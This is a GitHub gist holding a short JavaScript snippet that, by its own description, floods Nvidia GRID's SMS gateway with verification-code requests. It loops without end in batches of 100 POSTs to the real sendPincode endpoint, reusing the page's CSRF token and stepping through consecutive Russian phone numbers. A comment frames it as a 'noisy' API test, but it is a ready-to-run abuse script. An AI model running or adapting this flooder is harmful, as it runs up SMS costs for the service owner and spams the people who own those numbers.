Last active
June 27, 2017 19:07
-
-
Save JasonRammoray/c7b5982633166102e948b1bbf3e0f1b9 to your computer and use it in GitHub Desktop.
This is a snippet, which is capable to cause sending of potentially unlimited number of sms containing verification codes through Nvidia grid sms gateway
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* This is a noisy scenario, which tests sms gateway api, | |
* when user is trying to get a verification code on his / her | |
* smartphone | |
*/ | |
(function() { | |
'use strict'; | |
/* | |
* The phone number is set for the Russia | |
* See all country codes here: https://countrycode.org | |
*/ | |
var basePhone = 9111978913; | |
var baseCountryCode = 7; | |
var batchSize = 100; | |
var smsUrl = 'https://vmware.nvidiagrid.net/accounts/sendPincode/'; | |
function getXhr(method, url, withCred) { | |
var xhr = new XMLHttpRequest(); | |
xhr.open(method, url); | |
if (withCred) { | |
xhr.withCredentials = true; | |
} | |
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=UTF-8'); | |
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); | |
xhr.setRequestHeader('X-CSRFToken', getCookie('csrftoken')); | |
return xhr; | |
} | |
function makeSms() { | |
return new Promise((res, rej) => { | |
var d = new Date(); | |
var xhr = getXhr('POST', smsUrl); | |
var formData = { | |
countryCode: baseCountryCode, | |
token: '', | |
offerKey: '', | |
phone: basePhone++ | |
}; | |
xhr.onload = function() { | |
var response = JSON.parse(this.responseText); | |
console.log('Sms response: ', response); | |
res(); | |
}; | |
xhr.onerror = () => { | |
rej(); | |
}; | |
var reqData = Object.keys(formData).map(key => `${key}=${formData[key]}`).join('&'); | |
xhr.send(reqData); | |
}); | |
} | |
function makeBatch() { | |
var promises = []; | |
for (var i = 0; i < batchSize; i++) { | |
promises.push(makeSms()); | |
} | |
Promise.all(promises).then(makeBatch); | |
} | |
function makeRequest() { | |
makeSms().then(() => { | |
setTimeout(makeRequest); | |
}); | |
} | |
/* | |
* If you want to have a sequential chain | |
* of requests, uncomment the line bellow | |
*/ | |
// makeRequest(); | |
// Otherwise use batch mode | |
makeBatch(); | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment